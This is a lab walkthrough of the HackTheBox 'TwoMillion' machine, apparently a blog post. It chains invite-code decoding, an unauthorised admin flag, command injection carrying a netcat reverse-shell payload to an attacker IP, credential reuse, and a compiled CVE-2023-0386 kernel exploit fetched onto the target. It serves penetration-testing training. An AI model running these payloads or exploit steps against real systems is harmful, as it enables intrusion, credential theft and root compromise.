TwoMillion HTB Walkthrough
1. Enumeration
Start with a full port scan using Nmap:
nmap -sCV -p- 10.129.229.66Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/Two open ports — SSH and HTTP. The web server redirects to http://2million.htb/, so add it to /etc/hosts:
echo "10.129.229.66 2million.htb" | sudo tee -a /etc/hosts2. Web Enumeration
Fuzz the web application for endpoints:
ffuf -u http://2million.htb/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt \
-fc 301,302Discovered endpoints:
EndpointStatusNotes/register200Registration page/login200Login page/api401API — requires auth/invite200Invite code entry point
The /invite page is the key entry point — it replicates the original HackTheBox invite-only registration flow.
3. Invite Code Challenge
Step 1 — Discover the JavaScript
Inspect the page source for JavaScript files:
curl -s http://2million.htb/invite | grep -i scriptOutput reveals inviteapi.min.js. Fetch it:
curl -s http://2million.htb/js/inviteapi.min.jsThe script is obfuscated using the P,A,C,K,E,D technique — a compression/obfuscation method that replaces identifiers with base-36 encoded numbers and rebuilds them at runtime via eval(). Decoding it (by replacing eval( with console.log( in the browser console) reveals two functions:
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) { console.log(response) },
error: function(response) { console.log(response) }
})
}function verifyInviteCode(code) {
var formData = {"code": code};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) { console.log(response) },
error: function(response) { console.log(response) }
})
}Step 2 — Get generation instructions
curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate | python3 -m json.toolResponse:
{
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
}
}Step 3 — ROT13 decode
echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'Result: In order to generate the invite code, make a POST request to /api/v1/invite/generate
Step 4 — Generate the invite code
curl -s -X POST http://2million.htb/api/v1/invite/generate | python3 -m json.toolResponse:
{
"data": {
"code": "Uzk2VEktOURGOVMtTklYSTYtWExOMjA=",
"format": "encoded"
}
}Step 5 — Base64 decode
echo "Uzk2VEktOURGOVMtTklYSTYtWExOMjA=" | base64 -dResult: S96TI-9DF9S-NIXI6-XLN20 (your code will differ)
4. Registration & Authentication
Navigate to http://2million.htb/invite, enter the invite code, and register an account. After logging in, the dashboard at /home becomes accessible.
Get Moizhanif’s stories in your inbox
Join Medium for free to get updates from this writer.
To grab the session cookie for API interaction:
curl -s -X POST http://2million.htb/api/v1/user/login \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"yourpassword"}' \
-c cookies.txtOr copy the PHPSESSID value from browser DevTools → Application → Cookies.
5. API Enumeration
With a valid session cookie, enumerate the full API:
curl -s http://2million.htb/api/v1 -b "PHPSESSID=YOUR_COOKIE" | python3 -m json.toolFull API map:
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}Confirm current admin status (should be false):
curl -s http://2million.htb/api/v1/admin/auth -b "PHPSESSID=YOUR_COOKIE" | python3 -m json.tool6. Privilege Escalation to Admin
The PUT /api/v1/admin/settings/update endpoint allows updating is_admin without any server-side authorisation check:
curl -s -X PUT http://2million.htb/api/v1/admin/settings/update -b "PHPSESSID=YOUR_COOKIE" -H "Content-Type: application/json" -d '{"email":"test@test.com","is_admin":1}' | python3 -m json.toolResponse:
{
"id": 13,
"username": "test",
"is_admin": 1
}Verify:
curl -s http://2million.htb/api/v1/admin/auth -b "PHPSESSID=YOUR_COOKIE" | python3 -m json.tool
# {"message": true}7. Command Injection — Initial Foothold
The POST /api/v1/admin/vpn/generate endpoint passes the username parameter unsanitised to a shell command, enabling OS command injection.
Set up the listener:
nc -lvnp 4444Send the payload:
curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate -b "PHPSESSID=YOUR_COOKIE" -H "Content-Type: application/json" -d '{"username":"test;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.155 4444 >/tmp/f;"}'A shell is returned as www-data. Upgrade to a stable TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm8. Lateral Movement — SSH as Admin
Search for sensitive configuration files:
cat /var/www/html/.envOutput:
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123The database password is reused for the system admin account. SSH in directly:
ssh admin@10.129.229.66
# Password: SuperDuperPass123Retrieve the user flag:
cat ~/user.txt9. Privilege Escalation to Root — CVE-2023–0386
Identifying the Vector
Check for hints in the admin mailbox:
cat /var/mail/adminThe mail from ch4p references serious Linux kernel CVEs, specifically mentioning OverlayFS / FUSE. Check the kernel version:
uname -a
# Linux 2million 5.15.70-051570-genericKernel 5.15.70 is vulnerable to CVE-2023-0386, an OverlayFS privilege escalation affecting Ubuntu 22.04 kernels before 6.2. The vulnerability allows an unprivileged user to copy a file with SUID capabilities into an OverlayFS mount, which the kernel then honours with elevated permissions.
Compiling the Exploit
The target has no internet access. Compile on the attack box:
# Clone the PoC
git clone https://github.com/xkaneiki/CVE-2023-0386
cd CVE-2023-0386# Download required libraries (Ubuntu 22.04 versions)
wget "http://archive.ubuntu.com/ubuntu/pool/main/f/fuse/libfuse-dev_2.9.9-5ubuntu3_amd64.deb"
wget "http://archive.ubuntu.com/ubuntu/pool/main/f/fuse/libfuse2_2.9.9-5ubuntu3_amd64.deb"
wget "http://archive.ubuntu.com/ubuntu/pool/main/libc/libcap2/libcap-dev_2.44-1ubuntu0.22.04.3_amd64.deb"# Extract headers and libraries
dpkg -x libfuse-dev_2.9.9-5ubuntu3_amd64.deb libfuse-dev
dpkg -x libfuse2_2.9.9-5ubuntu3_amd64.deb libfuse2
dpkg -x libcap-dev_2.44-1ubuntu0.22.04.3_amd64.deb libcap-dev# Compile
gcc exp.c -o exp -pthread -lcap \
-I./libfuse-dev/usr/include \
-I./libcap-dev/usr/include \
-L./libcap-dev/usr/lib/x86_64-linux-gnugcc getshell.c -o getshellgcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -pthread \
-I./libfuse-dev/usr/include \
-I./libfuse-dev/usr/include/fuse \
./libfuse2/lib/x86_64-linux-gnu/libfuse.so.2 -ldl# Serve the binaries
python3 -m http.server 8080
Transferring to Target
cd ~
wget http://10.10.14.155:8080/exp
wget http://10.10.14.155:8080/fuse
wget http://10.10.14.155:8080/getshell
chmod +x exp fuse getshell
mkdir -p ovlcap/lower
cp getshell gcRunning the Exploit
Note:
/tmpand/dev/shmhave thenosuidmount option — run everything from the home directory (~) which is on the main ext4 filesystem.
SSH Terminal 1 — start the FUSE filesystem:
cd ~ && ./fuse ./ovlcap/lower ./gcLeave this running. The FUSE process serves the getshell binary content when the kernel accesses the file through the overlay.
SSH Terminal 2 — trigger the exploit:
cd ~ && ./expWhen you see [+] exploit success! and the file shows -rwsrwxrwx, execute it:
./ovlcap/lower/file
whoami
# root






